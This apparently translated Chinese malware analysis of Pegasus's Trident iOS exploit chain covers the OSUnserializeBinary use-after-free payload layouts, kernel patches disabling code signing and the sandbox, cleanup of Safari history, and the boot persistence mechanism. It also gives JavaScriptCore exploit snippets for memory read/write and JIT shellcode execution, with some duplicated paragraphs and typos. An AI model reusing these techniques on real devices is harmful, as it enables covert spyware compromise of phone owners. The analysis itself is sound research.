在OSUnserializeBinary中,while循环遍历blob中的每个已编码对象。循环首先确定对象的类型(例如,kOS Serialize Dictionary,kOS SerializeArray,kOSSerializeNumber,等等)及其大小。

len = (key & kOSSerializeDataMask);
...
switch ( kOSSerializeTypeMask & key)
{
    case kOSSerializeDictionary:
        o = newDict = OSDictionary::withCapacity(len);
        newCollect = (len!=0);
        break;
    case kOSSerializeArray:
        o = newArray =OSArray::withCapacity(len);
        newCollect = (len!=0);
        break;
    case kOSSerializeSet:
        o = newSet = OSSet::withCapacity(len);
        newCollect = (len!=0);
    case kOSSerializeObject;
        if(len>=objsIdx) break;
        o = objsArray[len];
        o->retain();
        isRef = true;
        break;
}

堆栈在新线程执行开始时内容如下:

char stackAnchor; //[sp+101Fh] [bp-2031h]@1
unsigned int size; //[sp+2020h] [bp-2013h]@12
char buffer[4096]; //[sp+2024h] [bp-102h]@12
int v26; //[sp+3024h] [bp-2Ch]@7
mach_port_t connection; //[sp+3028h] [hp-28h]@4
kern_return_t result; //[sp+320Ch] [bp-24h]@4
mach_port_t masterPort; //[sp+3030h] [bp-20h]@3 MAPDST

该新线程利用stackAnchor变量找到栈的一个页边界值。接着,线程创建一个非常大的数组,确保至少栈上的一页空间不会分配给函数关键变量,就可以创建一个kauth_filesec结构块,其包含了比必需的更多的信息。通过设置acl_entrycount去向系统说明没有ACE项,则当open_extended 加载kauth_filesec时,其不会解析acl _ flags 以外的任何数组。因此保护了攻击缓冲区的完整性,并防止因攻击缓冲区作为一真的ACE会被中断,内核可能因此产生错误。最终open_extended会将攻击缓冲区(以及*clock _ ops _ overwrite *缓冲区)的内容复制到内核区域中。

新线程利用open_extended 的漏洞将未修改的payload放到了内核中。利用先前讨论的漏洞,即允许内核数据泄露进用户内存中,就可以找到payload的地址。当完成了对AppleKeyStore*漏洞的攻击,buffer 变量传向io_service_open_extended (位于stackAnchor附近的相同变量)。这意味着AppleKeyStore 会返回指向内核块的指针,指针指向open_extended *复制进内核的代码块的后一项。因此,新线程的目的不是重写时钟处理程序指针,而是为这样的攻击做准备。

一旦新线程完成工作,包含了攻击缓冲区地址的变量会被检测,判断是否真是新线程设定的(在调用新线程前,该变量已被初始化为0x12345678)。如果没有获得内核地址,攻击便会停止。

在新线程活动完成后,若手机是iPhone4.1(iPhone4s),主线程会创建1000个线程。每个线程都生成一个小循环,循环等待一全局变量降为0以下(创建是默认值为1000)。并不清楚为什么对iPhone4s会有这种行为,这种行为的结果似乎对所有平台都有价值。主线程大量消耗内存资源,从而在UAF开发期间,减少了另一个线程将产生并因此争夺内存资源的概率。

payload结构和内核插入(64位)

考虑到64Stage2中使用的触发机制的不同,设置和payload结构也有点不同的。64位没有创建管道和覆盖时钟getattr语句,而是重写了一sysctl 处理函数,最终也会导致 OSSerializer::serialize以32位相似方式执行。为建立执行原语,64位用到了net.inet.ip.dummynet.extract_heap*的接口,64位可向其传送一精心制作的数据块,该数据块允许该二进制包重写指向连接内核区域的变量的指针。最终结果和getattr*差不多,即允许64Stage2二进制文件执行来自用户空间的内核中的任意ROP链代码。

建立内核读/写基元(32位)

利用现在内核内存中的漏洞利用代码,32Stage2必须激活代码才能安装新的clock_ops处理程序,该程序可使用户可以访问内核内存。32Stage2在io_service_open_extended反序列化例程中使用了free-after-free(UAF)漏洞。虽然报告先前展示了io_service_open_extended的反序列化功能会泄漏内核地址信息,但同一组件中的另一个漏洞也可会造成在内核中可执行任意代码。当io_service_open_extended传递属性数据blob时,该函数会在将信息传递给OSUnserializeXML之前将内容从用户空间复制到内核空间。 如果kOSSerializeBinarySignature值出现在数据blob的开头,OSUnserializeXML按顺序将信息传递给OSUnserializeBinary。OSUnserializeBinary存在这个漏洞。

properties参数中的数据blob表示一已序列化的XML字典(或容器)。为了重构关系,OSUnserializeBinary遍历整个blob数据来解析出各个数据对象。在编码过程中(将原始XML转换为其二进制表示的过程)可能会重复发现相同的对象。为了更有效地处理重复数据,将重复对象存储在数组(objsArray)中,重构的XML字典中的对象就可以由数组的索引来表示。

在OSUnserializeBinary中,while循环遍历blob中的每个已编码对象。循环首先确定对象的类型(例如,kOS Serialize Dictionary,kOS SerializeArray,kOSSerializeNumber,等等)及其大小。

len = (key & kOSSerializeDataMask);
...
switch ( kOSSerializeTypeMask & key)
{
    case kOSSerializeDictionary:
        o = newDict = OSDictionary::withCapacity(len);
        newCollect = (len!=0);
        break;
    case kOSSerializeArray:
        o = newArray =OSArray::withCapacity(len);
        newCollect = (len!=0);
        break;
    case kOSSerializeSet:
        o = newSet = OSSet::withCapacity(len);
        newCollect = (len!=0);
    case kOSSerializeObject;
        if(len>=objsIdx) break;
        o = objsArray[len];
        o->retain();
        isRef = true;
        break;
}

switch语句调度适当的指令来处理数据blob中找到的每种类型的对象。这些指令会生成新对象,并根据特定对象在反序列化过程中所需的内容设置与对象相关的标志。kOSSerializeObject对象类型是一种特殊情况,表示已经反序列化的对象,因此,将标志isRef设置为true,表示该对象是对objsArray数组中已有对象的引用。如果isRef值未设置为true,则刚刚进行反序列化的当前对象将通过setAtIndex添加到objsArray:

switch语句调度适当的指令来处理数据blob中找到的每种类型的对象。这些指令会生成新对象,并根据特定对象在反序列化过程中所需的内容设置与对象相关的标志。kOSSerializeObject对象类型是一种特殊情况,表示已经反序列化的对象,因此,将标志isRef设置为true,表示该对象是对objsArray数组中已有对象的引用。如果isRef值未设置为true,则刚刚进行反序列化的当前对象将通过setAtIndex添加到objsArray:

if (! isRef)
{
        setAtIndex (objs, objsIdx, o);
        if ( !ok) break;
        objsIdx++;
}

setAtIndex是一个宏,将对象(o)添加到objsArray。虽然iOS环境中存在更强大的数组对象,例如OSArray(会自动处理引用计数的数组容器),但OSUnserializeBinary对其已反序列化的对象的数组对象管理采用手动多一些的管理方式。反序列化后,通过调用o-> release()来将对象的引用计数清零,在大多数情况下将导致对象被释放。可能会在kOSSerializeObject对象中抛出异常。

由于kOSSerializeObject对象是一个表示被其他条目引用的对象,因此必须在序列化后保留该对象。因此,在反序列化期间,kOSSerializeObject对象将调用o-> retain(),从而增加对象的引用计数并防止从内存中删除它。

序列化数据blob允许多次使用相同的密钥。 换句话说,有可能(直到iOS 9.3.1,在CVE-2016-1828中修复了重复密钥问题)使XML代码如下:

<dict>
        <key>KEY1</key>
        <number>1</number>
        <key>KEY1</key>
        <string>2</string>
</dict>

上面的XML一旦序列化,将包含五个对象。第一个对象是字典容器(<dict>表示kOSSerializeDictionary对象),后跟表示键的符号(“KEY1”赋给kOSSerializeSymbol)及其数据对象(整数1赋给kOSSerializeNumber)。第四个属性指定另一个密钥对象,会再次分配给KEY1,现在这个属性是一个包含字符串“2”的字符串对象(kOSSerializeString)。作为反序列化过程的一部分,KEY1的重用导致接下来的对象会替换分配给KEY1的原始值。用新数据替换密钥便是OSUnserializeBinary容易受到攻击的地方。

如前所述,当对象被反序列化时,只要该对象不是kOSSerializeObject,该对象就存储在objsArray中以供之后引用。此存储是setAtIndex宏的结果,如下:

#define setAtIndex(v, idx, o) \
        if (idx >= v##Capacity) \
        { \
                unint32_t ncap = v##Capacity+64; \
                typeof(v##Array)nbuf = (typeof (v##Array)) kalloc_container(ncap*sizeof(o)); \
                if (!nbuf) ok =false; \
                if(v##Array) \
                { \
                        bcopy(v##Array, nbuf, v##Capacity * sizeof(o)); \
                        kfree(v##Array,v##Capacity * sizeof(o)); \
                } \
                v##Array=nbuf; \
                v##Capacity=ncap; \
        } \
        if (ok) v##Array[idx]=o;

宏将扩展objsArray以容纳附加对象,并将对象分配到objsArray的末尾,而不通过o-> retain()调用增加其引用计数。此方法的问题在于,当第二个对象替换现有对象时(在我们的示例中,就是每当字符串对象替换KEY1的数字对象时),第一个对象被释放并随后被释放,但是指向现在释放的对象的指针存在于objsArray中。通常这只是一个糟糕的编程设计问题,但如果通过kOSSerializeObject条目引用该对象,则问题会变得更加复杂。如果kOSSerializeObject条目通过索引引用已释放对象的指针,则对o-> retain()的调用将尝试执行受攻击者控制的虚函数。

为了利用UAF漏洞,32Stage2必须控制已解除分配的内存位置,并放置一个自定义vtable,它将使retain条目指向自己选择的函数。安装自定义vtable需要访问两个已释放的相邻内存位置。由于在序列化过程中无法直接覆盖对象的vtable,通过分配然后释放两个内存位置,32Stage2可以使用OSData或OSString对象一次替换两个内存位置,其中一个内存位置包含恶意vtable。导致UAF漏洞的上述条件是CVE-2016-18284的结果,并且存在于9.0到9.3.1的iOS版本中。32Stage2通过使用以下payload来利用此漏洞,以便在iOS时钟处理程序中安装内核读/写原语。

[0x00] kOSSerailizeBinarySignature
[0x04] kOSSerailizeEndCollecton | kOSSerailizeDictionary | 0x10
[0x08] kOSSerailizeString | 4
[0x0C] "sy2"
[0x10] kOSSerailizeEndCollecton | kOSSerailizeArray | 0x10
[0x14] kOSSerailizeDictionary | 0x10
[0x18] kOSSerailizeSymbol | 4
[0x1C] "sy1"
[0x20] kOSSerailizeData | 0x14
[0x24] "ffff\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
[0x38] kOSSerailizeSymbol | 4
[0x3C] "sy1"
[0x40] kOSSerailizeEndCollecton | kOSSerailizeSymbol | 4
[0x44] "sy1"
[0x48] kOSSerailizeString | 0x1C
[0x4C] {payload buffer}
[0x68] kOSSerailizeString | 0x1C
[0x6C] {payload buffer}
[0x88] kOSSerailizeString | 0x1C
[0x8C] {payload buffer}
[0xA8] kOSSerailizeEndCollecton | kOSSerailizeObject | 5

在payload中,32Stage2重用sy1密钥以通过UAF漏洞激活payload。

从iOS版本9.3.2开始,修补了CVE-2016-1828漏洞,这迫使需要一种不同的机制来安装内核读/写原语。但是,OSUnserializeBinary的kOSSerializeObject仍包含UAF漏洞。

理解这个概念的最简单方法是查看32Stage2生成的payload,以利用OSUnserializeBinary UAF漏洞。

对于iOS版本9.3.2至少9.3.3,payload采用以下形式:

[0x00] kOSSerailizeBinarySignature
[0x04] kOSSerailizeEndCollecton | kOSSerailizeDictionary | 0x10
[0x08] kOSSerializeString | 4
[0x0C] "sy2"
[0x10] kOSSerializeData | 0x14
[0x14] {payload buffer}
[0x28] kOSSerializeEndCollecton | kOSSerializeObject | 1 

虽然在结构上它们看起来有些不同,但最终它们都利用了UAF漏洞。在iOS 9.3.2及更高版本中使用的这种更简单的payload是最容易理解的。当OSUnserializeBinary开始反序列化payload的解析过程时,该函数将创建一个新的字典对象,偏移0x04处的运行结果。在词典中有两个无键对象。第一个对象是一个OSString对象,其值为sy2(分别在偏移量0x08和0x0C中指定)。在偏移量0x10处指定大小为0x14(20)字节的OSData对象。OSData对象包含payload缓冲区数据结构。由于对象是无键的,OSUnserializeBinary将用OSData对象替换OSString对象,但将指针留在objsArray中。由于OSString对象没有retain()调用,OSString被释放,从而将两个内存数组放入空闲列表中(一个用于OSString对象本身,另一个用于与OSString对象关联的字符串)。

当OSUnserializeBinary解析kOSSerializeData时,将分配新的OSData对象,从而从空闲列表中消耗一个已释放的内存位置。当与kOSSerializeData关联的数据被复制到OSData对象中时,将为数据分配新的缓冲区,该缓冲区将消耗空闲列表中的剩余数据位置。此时,objsArray中的悬空指针已被OSData对象的数据替换。它是与OSData对象关联的数据,其中包含恶意payload,最终将给予32Stage2写访问内核权限,以便安装读/写原语。

无论iOS版本如何,恶意payload都包含相同的payload缓冲区。payload缓冲区是一个20字节的结构,由以下元素组成:

[00] address of uaf_payload_buffer + 8
[04] {uninitialized data from stack}
[08] address of uaf_payload_buffer
[0C] static value of 20
[10] address of OSSerializer::serialize

payload必须包含指向偏移量0x10处新保留函数的指针。32Stage2使用OSSerializer :: serialize函数作为替换保留。这种设计意味着payload的其余部分必须模拟OSSerializer对象的vtable。如先前在已植入的设备上建立读/写/执行原语所述,OSSerializer :: serialize函数将在所提供的vtable的偏移0x10处调用该函数,同时将vtable的偏移0x08和0x0C传递给被调用的函数。假设偏移量0x10设置为OSSerializer :: serialize,则会再次调用该函数,但第二次将调用偏移量0x08指定的vtable。此调用会导致一系列后续调用,最终导致调用 _copyin,这个函数替换实时和电池时钟的getattr处理程序,正如在之前植入的设备上建立读/写/执行原语步骤中所述。

在执行漏洞利用之后,如果受害者的手机是“iPhone4,1”,则控制之前生成的1000个线程的全局变量值将设置为-1以终止线程。

为验证电池时钟的getattr处理程序是否成功读取内核内存地址,将调用clock_get _attributes,并将读取位置指定为内核的基址。如果clock_get _attributes的结果不是魔术值0xFEEDFACE,则再次尝试。 第二次失败导致调用assert回调并终止32Stage2。

建立内核读/写基元(64位)

在第二阶段的64位版本中利用了相同的底层漏洞。原则上,漏洞利用的结构非常类似。主要区别在于通过写入net.inet.ip.dummynet.extract _ heap sysctl处理程序来建立最终的执行原语。OSSerializer :: serialize的使用方式与32Stage2中的类似。然后使用在建立内核执行原语(32位)中描述的相同机制来实现任意代码执行(通过执行任意ROP链)。

建立内核执行原语(32位)

正如之前在Rooted Devices上安装内核访问处理程序中所解释的那样,实时时钟的getattr处理程序指向OSSerializer :: serialize,它允许clock_get_attributes的调用者将特制结构传递给OSSerializer :: serialize以便在内核空间中执行指令。要在内核空间内执行,用户区32Stage2进程必须具有以可靠的方式将数据传输到内核地址空间的方法。 32Stage2使用管道创建的管道集的方法来完成此任务。

在将电池时钟的新getattr处理程序建立为* _bufattr _cpx* 之后,32Stage2有一个可靠的方法将DWORD从内核地址空间读入用户空间。32Stage2使用此功能来查找存储在内核中的addrperm值。addrperm重新定义数据传入用户区时在内核中的偏移量,以便混淆内核中数据的真实位置。如果获得该值,可以将内核地址反混淆到其真实地址值。32Stage2从生成的管道集中调用读取管道的fstat,然后计算stat结构的位置与内核地址空间之间的差异。然后将该值存储在全局变量中,供必须访问内核内存以执行代码的函数使用。

每当32Stage2想要在内核中执行代码时,以下数据结构将写入生成的管道集中write pipe:

[00] argument 1
[04] argument 2
[08] address of cpde execute

为了调用数据偏移量8中指定的函数,另一个DWORD被预先添加到数据中并传递给实时时钟的getattr处理程序(通过OSSerializer :: serialize访问),它在调用要执行的函数地址之前将参数1放入R3和参数2放入R1。通过将未使用的DWORD添加到数据结构中,该数据块成为OSSerializer的vtable替代品。该技术用于32Stage2中的两个不同函数。 一个函数允许任意内核函数调用,另一个函数用于将DWORD值写入内核地址空间。

修补内核以允许内核端口访问

由于能够在内核地址空间内读取,写入和执行任意位置,下一步是通过内核端口获得对内核的更直接访问。如果使用PID值0调用,则 ** _for_pid ** 会返回错误。为了绕过这种保护,第2阶段修改了task_for_pid中的四个不同位置。在开始修改task_for_pid之前,阶段2确定需要修该改的区域是否在可读取/执行的内存区域内。如果内存不可写,则第2阶段将直接修改内存区域的权限以允许写访问,然后使dcache无效并刷新数据和TLBs指令以确保内存区域进行权限更新。

修改task_for_pid以允许调用者获得内核的端口后, 在调用assert回调和退出之前,第2阶段将尝试通过调用task_for_pid(mach_task_self,0,&port)来获取五次内核端口,每次尝试之间有100次毫秒延迟。

阶段三:提权和实现越狱

本节介绍在第2阶段执行的最终步骤,以获取iPhone上的root访问权限,禁用代码签名,然后实现越狱。 此阶段利用最终的Trident漏洞,该漏洞会造成内核内存损坏导致越狱(CVE-2016-4656)。

修改系统以提权

32Stage2的下一步是在受害者的手机上获得root访问权限。如果第2阶段进程没有以root用户身份运行(UID = 0),在非越狱手机上不可能以root运行,第2阶段会修补setreuid功能跳过对提权的检查。若对setreuid的修改完成,该函数最多被调用五次(每次调用之间有500ms的延迟),直到setreuid(0,0)返回成功。在五次尝试之后(或在成功的setreuid调用之后),修改后的setreuid会给出相反的结果。最后检查进程的用户值(UID)以确保它确实是root(0)。 如果函数getuid返回0以外的任何值,则调用assert并退出阶段2。

阶段2通过实时时钟clock_get_attributes调用内核函数kauth_cred_get_with_ref,以便接收主线程的凭证。在此之后,第2阶段将找到mac_policy_list,其中包含当前加载到iOS内核中的访问控制策略模块列表。阶段2检查列表,查找以名称“Seat”开头的模块,可参考“Seatbelt沙箱策略”。如果未找到策略模块,则阶段2调用断言回调并终止。但是,如果找到该模块,则会读取并修改mpc_field_off,以允许当前进程更大程度地控制受害者的iPhone。

因为可访问内核端口并且删除了将阻止第2阶段执行通常被沙箱策略阻止的权限操作的限制,阶段2不再需要实时时钟的getattr处理程序。为了确保将来对此处理程序的调用不会使手机崩溃,将修改getattr函数指针以指向指令:
BX LR
这个新的处理函数有效地将未来对实时时钟的getattr调用转换为NOP。这可能是为了确保将来调用getattr处理程序(通过某些其他进程)不会产生意外后果并导致内核崩溃。

禁用代码签名

默认情况下,标准iPhone上的iOS将阻止未签名的代码通过正常方式运行,例如execv或系统调用。同样,通过将文件系统设置为只读,可以防止对根文件系统的修改。这些情况将阻止第2阶段执行越狱程序,并将阻止越狱程序(如果它激活)修改系统。第2阶段修改了几个内核函数和两个内核扩展(kext),以允许这些禁止的操作。第2阶段首先找到com.apple.driver.AppleMobileFileIntegritycom.apple.driver.LightweightVolumeManager的kext。com.apple.driver.AppleMobileFileIntegrity(AMFI)扩展程序负责实施iOS的代码签名功能。com.apple.driver.LightweightVolumeManager扩展负责主存储设备的分区表。阶段2通过调用OSKextCopyLoadedKextInfo来定位每个扩展,该函数返回含有扩展信息的字典对象。在字典中的是当扩展被调用时的加载偏移量,阶段二通过添加一已知的偏移量将其放入内核地址中。

使用AMFI的内核地址,阶段2定位以下全局变量:
amfi_get_out_of_my_way
cs_enforcement_disable
这两个变量在设置好后会禁用AFMI并禁用代码签名。然后,阶段2设置另外两个全局变量:debug _ flags和DEBUGflag。 这两个变量允许对受害者的iPhone进行调试权限,进一步减少沙箱(SEATBELT)对设备施加的限制。

接下来,第2阶段修改内核函数vm_map_entervm_map_protect,以便在虚拟内存管理器中禁用代码签名验证(可以分配RWX区域)。在此之后,第2阶段修改LightweightVolumeManager中的_mapForIO函数,然后修改内核函数csops以禁用更多的代码签名保护。

重新安装驱动器

为了越狱设备,必须拥有根文件系统写权限。阶段2通过对/ sbin / launchd调用访问函数来测试根文件系统的可写性,以确定阶段2是否具有对根文件系统的写访问权。如果文件是只读的,则第2阶段修补内核函数_ mac _ mount以禁用保护策略,该策略阻止将文件系统重新安装为读/写,然后通过调用mount(“hfs”, “/”, MNT _ UPDATE ,mountData)将root文件系统重新安装为读/写,其中mountData指定/ dev / disk0s1s1设备。

如此编写使得它只能在iOS 9系列iPhone上运行,但代码存在表明它曾经在较旧的iOS版本上使用过。作为支持此声明的证据,在第2阶段重新安装根文件系统后会调用一个函数,如果它在iOS 7,iOS 8或iOS 9上运行,则修改其执行路径。根据iOS版本,函数在/ bin / launchctl(适用于iOS 7和8)或/ bin / launchd(适用于iOS 9)上调用fsctlfsctl将修改低磁盘空间警告阈值以及极低磁盘空间警告阈值,分别将值设置为8192和8208。

清理

由于Safari中允许任意代码执行的漏洞,第2阶段被激活。作为第2阶段在实现越狱之前执行的最后一项活动之一,第2阶段尝试通过清理Safari中的历史记录和缓存文件来覆盖其感染向量。清除Safari浏览器历史记录和缓存文件的过程非常简单,并且特定于iOS版本。

对于iOS 8和iOS 9(如果未在iOS 9上运行,第2阶段将在开始时终止),将从受害者的iPhone中立即删除以下文件以删除浏览器和缓存信息:

• /Library/Safari/SuspendState.plist
• /Library/Safari/History.db
• /Library/Safari/History.db-shm
• /Library/Safari/History.db-wal
• /Library/Safari/History.db-journal
• /Library/Caches/com.apple.mobilesafari/Cache.db
• /Library/Caches/com.apple.mobilesafari/Cache.db-shm
• /Library/Caches/com.apple.mobilesafari/Cache.db-wal
• /Library/Caches/com.apple.mobilesafari/Cache.db-journal
• (files in the directory) /Library/Caches/com.apple.mobilesafari/fsCachedData/

对于iOS 7,将删除以下文件:

• /Library/Caches/com.apple.mobilesafari/Cache.db
• /Library/Caches/com.apple.mobilesafari/Cache.db-shm
• /Library/Caches/com.apple.mobilesafari/Cache.db-wal
• /Library/Caches/com.apple.mobilesafari/Cache.db-journal

最后调用sync,以确保将删除写入磁盘。

下一阶段安装

再次给出使用最初针对较旧的iOS版本的代码的证据,主线程调用的下一个函数进行解压缩并将两个文件放到受害者的文件系统上。以下代码段说明了Stage 2如何确定越狱二进制文件在受害者设备上的位置:

if ( ( unsigned int) ( majorVersion -8 ))
{
    if ( majorVersion ==7 ){
        pszJBFilenamePath = "/bin/sh";
        if( flag )
            pszJBFilenamepath = "/private/var/tmp/jb-install";
    }
    else{
        assert();
        writeLog(3, "%.2s%5.5d\n", "bh.c", 134);
        exit(-1);
        pszJBFilenamePath =0;
    }
}
else
{
    pszJBFilenamePath = "/sbin/mount_nfs.temp";
}

代码片段显示,对于iOS版本7,下一阶段二进制文件的安装路径是/ bin / sh/ private / var / tmp / jb-install(如果flag为非零)。对于早于7的iOS版本,将调用断言回调并终止程序。 对于iOS 8及更高版本,安装路径指定为/ sbin / mount _ nfs.temp

包含下一阶段二进制的数据blob的大小被验证为非零。如果大小为零,则发生断言回调并终止第2阶段。然后,阶段2使用BZ2 _ * API函数将数据解压缩为两个文件:第一个文件是下一个阶段的二进制文件,对于iOS 9,它存储在/ sbin / mount _ nfs.temp中。 第二个文件是配置文件,存储在/ private / var / tmp / jb _ cfg中。

在控制返回主线程之前,这两个文件的权限更改为0755(使文件可执行)。

Stage 2在终止之前调用的最终函数负责移动上一步骤中放下的二进制文件。对于iOS版本8和9,文件/ sbin / mount _ nfs.temp重命名为/ sbin / mount _ nfs。如果受害者手机上的iOS是iOS 9,则会在重命名操作之前尝试删除/ sbin / mount _ nfs。重命名文件后,调用assert回调函数,然后调用exit函数,终止Stage 2。

一旦执行返回主线程,第2阶段将以静默方式终止

现有的越狱检测

如前所述,Stage 2二进制文件以两种不同的模式运行。第一个已经讨论过,其构成了一个完整的iOS漏洞利用和越狱。 第二个是在已经越狱的系统上运行Stage 2二进制文件时所采用策略。在第二模式下,第2阶段只是利用现有的越狱后门来安装Pegasus特定的内核补丁。

为了确定设备是否已经越狱,第2阶段尝试利用常见的越狱后门获取进入iOS内核的有效机器端口。只需通过调用task _ for _ pid并将PID值设置为0来执行此检查。 修改task _ for _ pid是iOS越狱使用的常见后门机制,它使用户模式进程有直接内核内存访问的权力。iOS通常不允许使用PID为0的task _ for _ pid。如果task _ for _ pid返回有效的任务端口,Stage 2进程就可以提升对内核的访问权限,那么就可以放弃前面描述的权限提升步骤。

阶段2还检查/ bin / sh在不在。在未越狱手机上,这个二进制文件永远不应该存在。当阶段2检测到此二进制文件的存在时,它假定现有的越狱程序与Pegasus不兼容或者所有必需的内核补丁已经到位并且不需要进一步的操作。当在设备上存在/ bin / sh时,阶段2不用进行攻击直接退出即可。

四:Pegasus持久性机制

本节详细介绍了Pegasus通过Trident漏洞进行攻击后保留在设备上的持久性机制,并在每次设备重新启动时继续执行未签名的代码。

Pegasus持久性机制

Pegasus使用的持久性机制在每次设备启动时可靠地执行未签名的代码(并最终执行内核漏洞以再次越狱设备)依赖于两个不同问题的组合。

第一个问题是plist中存在rtbuddyd服务(在设备启动时启动)。请注意,在iOS 10之前,rtbuddyd存在于某些iPhone设备上,例如iPhone 6S,但不存在于iPhone 6等其他设备上。因此,任何可以复制到指定路径(/ usr / libexec / rtbuddyd)的已签名二进制文件都将在引导时使用plist中指定的参数(特别是“--early-boot”)执行。

<key> rtbuddy</key><dict><key>ProgramArguments</key><array><string>rtbuddy</string><string>--early-boot</string></array><key>PerformInRestore</key><true/><key>RequireSucess</key><true/><key>Program</key><string>/usr/libexec/rtbuddy</string></dict>

由于此行为,系统上的任何已签名二进制文件都可以在引导时使用单个参数执行。通过在当前工作目录中创建名为--early-boot的符号链接,可以将任意文件作为第一个参数传递给已复制到rtbuddyd位置的任意已签名二进制文件。

此持久性机制中利用的第二个问题是JavaScriptCore二进制文件中的漏洞。Pegasus利用前面描述的方法,通过将文件复制到/ usr / libexec / rtbuddyd来执行jsc二进制文件(JavaScriptCore)。然后可以通过创建名为--early-boot的符号链接来执行任意JavaScript代码,该符号链接指向要在引导时执行的代码文件。然后Pegasus利用jsc二进制文件中的错误转换来执行未签名的代码并重新利用内核。

JavaScriptCore内存损坏问题

该问题存在于JavaScript绑定的setImpureGetterDelegate()中(由functionSetImpureGetterDelegate支持)。

1
2
3
4
5
6
7
8
9
10
11
12
13
EncodeJSValue JSC_HOST_CALL functionSetImpureGetterDelegate(ExecState* exec)
{
JSLockHolder lock(exec);
JSValue base = exec->argument(0);
if(!base.isObject())
return JSValue::encode(jsUndefined());
JSValue delegate =exec->argument(1);
if(!delegate.isObject())
return JSValue::encode(jsUndefined());
ImpureGetter* impureGetter = jsCast<ImpureGetter*>(asObject(base.asCell()));
impureGetter->setDelegate(exec->vm(), asObject(delegate.asCell()));
return JSValue::encode(jsUndefined());
}

这个绑定有两个参数:第一个是ImpureGetter,第二个是将被设置为ImpureGetter delegate的通用JSObject。这个问题是由于缺乏验证,JSObject作为第一个参数实际上是一个格式正确的ImpureGetter。当另一个对象类型作为第一个参数传递时,对象指针将不正确地向下转换为ImpureGetter指针。

随后,当通过setDelegate()设置m_delegate时,指向作为第二个参数传递的JSObject的指针将写入与m_delegate对齐的偏移量(16个字节到提供的对象中)。此问题可用于创建一个原语,允许将指向任意JSObject的指针写入16个字节到任何其他JSObject中。

攻击

Pegasus利用此问题在iOS应用程序执行时实现未签名代码执行。为了获得对执行流程的控制,该攻击利用了许多DataView对象。使用DataView是因为它们提供了一种简单的机制来读取和写入向量中的任意偏移量。DataView对象在16字节偏移处有一个指向缓冲区的指针。利用这些损坏的DataView对象,漏洞利用程序安装获取任意本机代码执行权所需的工具 - 即读/写原语以及暴露任意JavaScript对象地址。完成此设置后,漏洞利用程序就可以创建包含本机代码payload的可执行映射。 以下部分详细介绍了此过程的各个阶段。

获取任意读/写原语

可以使用以下代码片段获取用于DataView对象的任意偏移量的读/写原语。

1
2
3
4
5
6
var dummy_ab = new ArrayBuffer(0x20);
var dataview_init_rw = new DataView(dummy_ab);
...
var dataview_rw = new DataView (dummy_ab);
...
setImpureGetterDalagate(dataview_init_rw, dataview_rw);

首先,使用虚拟ArrayBuffer作为两者的后备向量创建两个DataView。接下来,利用指向dataview_rw的指针来利用该问题来破坏dataview_init_rwm_vector成员。对dataview_init_rw 后续读取和写入,DataView会让dataview_rw的任一成员泄露或重写。接下来,对该对象的控制用于获得整个进程存储器的读/写原语。

1
2
3
4
5
6
7
8
9
var DATAVIEW_ARRAYBUFFER_OFFSET = 0x10;
var DATAVIEW_BYTELENGTH_OFFSET = DATAVIEW_ARRAYBUFFER_OFFSET + 4;
var DATAVIEW_MODE_OFFSET = DATAVIEW_BYTELENGTH_OFFSET + 4;
var FAST_TYPED_ARRAY_MODE = 0;
dataview_init_rw.setUnit32(DATAVIEW_ARRAYBUFFER_OFFSET, 0 , true);
...
dataview_init_rw.setUnit32(DATAVIEW_BYTELENGTH_OFFSET, 0xFFFFFFFF , true);
...
dataview_init_rw.setUnit8(DATAVIEW_MODE_OFFSET, FAST_TYPED_ARRAY_MODE, true);

向dataview_rw DataView中写入三个偏移量。首先,指向后备向量的指针指向零地址。然后将DataView的长度设置为0xFFFFFFFF,有效地设置DataView以映射进程的所有虚拟内存。最后,将模式设置为简单类型(即FastTypedArray),允许在给定虚拟地址的情况下将偏移量计算到DataView中。dataview_rw DataView现在通过它公开的getType和setType方法提供任意读/写原语。

泄漏对象地址

所需的最后一个原语可以暴露任意JavaScript对象的虚拟内存地址。使用上面利用的相同问题来泄漏单个对象的地址而不是暴露整个存储器空间来实现该原语。

1
2
3
4
5
6
7
8
var dummy_ab = new ArrayBuffer (0x20);
...
var dataview_leak_addr = new DataView ( dummy_ab);
var dataview_dv_leak = new DataView (dummy_ab);
setImpureGetterDelegate (dataview_dv_leak, dataview_leak_addr);
...
setImpureGetterDelegate (dataview_leak_addr, object_to_leak );
leaked_addr = dataview_dv_leak.getUnit32(DATAVIEW_ARRAYBUFFER_OFFSET, ture);

同样,使用虚拟ArrayBuffer作为两者的支持向量创建两个DataView。接下来,用指向dataview_leak_addr的指针来利用该问题去破坏dataview_dv_leakm_vector成员。为泄漏任意JavaScript对象的地址,第二次触发该问题。这次,dataview_leak_addr DataView的m_vector被需泄露的对象的地址代替。最后,可以读取dataview_dv_leak DataView中偏移16个字节的dword以获取目标对象的地址。

未签名的本机代码执行

如第1阶段Safari漏洞利用中所使用的那样,Pegasus在本攻击中使用相同的机制来获取代码执行权限。该漏洞创建了一个可执行映射,其中包含要执行的shellcode。为了实现这个目的,创建了一个JSFunction对象(含有数百个空的try / catch块,稍后将被覆盖)。为了帮助确保JIT将JavaScript编译为本机代码,随后会重复调用该函数。鉴于JavaScriptCore库的性质,此JIT编译的本机代码将驻留在映射为读/写/执行的内存区域中。

1
2
3
4
5
6
7
8
var body =' '
for (var k=0; k<0x600; k++){
body+= 'try () catch(e) ();';
}
var to_overwrite = new Function('a', body);
for (var i=0;i<0x10000; i++){
to_overwrite();
}

然后可以读取此JSFunction对象的地址,并且可以读取各种成员以获取RWX映射的地址。然后用shellcode覆盖JITed try / catch块,并且可以简单地调用to_overwrite()函数来实现任意代码执行。